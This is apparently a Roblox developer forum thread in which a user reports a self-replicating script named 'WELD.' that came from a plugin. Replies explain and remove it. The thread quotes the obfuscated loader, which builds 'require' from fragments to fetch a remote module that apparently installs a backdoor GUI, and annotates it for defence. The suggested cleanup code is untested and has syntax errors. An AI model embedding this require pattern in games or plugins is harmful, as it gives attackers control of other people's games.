Whenever im scripting something else I always search “Scripts” on explorer.
And everytime I see this on an script named “WELD.”;
And that was from tool grip editor. if you have it try to search WELD. in your explorer;
pcall(function()
local fenv = getfenv
local ADDR = 0x19F996F0A;
local INST = "re"
pcall(fenv()[INST.."qui"..INST](ADDR))
end)
I do, but whevener I do that it creats another one. It’s like infinite virus on my game. I wanted to know how to remove this forever or what is causing it.
I didnt check if i coded this right, but: on studio, not running the game, execute the following code on the command bar, changing VIRUSSCRIPTNAMEHERE to the virus name:
local d = workspace:GetDescendants()
for i=1,#d do
If d[i].Name == “VIRUSSCRIPTNAMEHERE” and d[i]:IsA(“BaseScript”) then d[i]:Destroy() end end
If the virus spreads to other places outside of workspace, like game.Lighting, repeat the command changing workspace with the directory you want.
Also use this every time you insert a free model but dont want any of its scripts:
local d = workspace.FREEMODELNAME:GetDescendants()
for i=1,#d do
If d[i]:IsA(“BaseScript”) then d[i]:Destroy() end end
Yes, almost everything with getfenv() is a virus, I’ll try to explain what the script does
-- Suppress the function from any errors/warnings (thanks incapaz)
pcall(function()
local ADDR = 0x19F996F0A;
-- The ADDR here is an address that can be converted back into words/numbers
local INST = "re"
-- The INST here is used to continue the word 'require'
-- Suppress the function/line from any errors/warnings (thank incapaz again)
pcall(getfenv()[INST.."qui"..INST](ADDR))
-- It requires/adds to your game this specific model/script
end)
in the command bar to insert the module in the workspace and check the source (which is obfuscated…) there’s also a GUI in the module and if you put it in the StarterGui, sure enough, it’s a backdoor:
essentially what it does is it inserts a module script with the ID 0x19F996F0A which is hexadecimal for 6972600074. The code in the module script is obfuscated, so I can’t really read what it does, but in essence it inserts the GUI below into your game, I am guessing would allow whoever is behind it to exploit in your game
I did, but im still confused how he discover my game cause like me and my friend was testing the game while he came up with an raid so we would be distracted and he could execute his scripts.
But memiguel555 isn’t the creator of tool grip editor. So I really don’t know how he discover maybe it’s an key that you can press?
yea, I guess this explains the massive exploiting problem that we face. Currently you don’t need to insert a module script into the game to run it, you simply need to require it. This is what the code does, and the module script returns a function, which is then called to start the process
WOW. roblox needs to do something about this. If roblox at least added some way to know when someone calls require with an ID, then you could thwart these exploits before they begin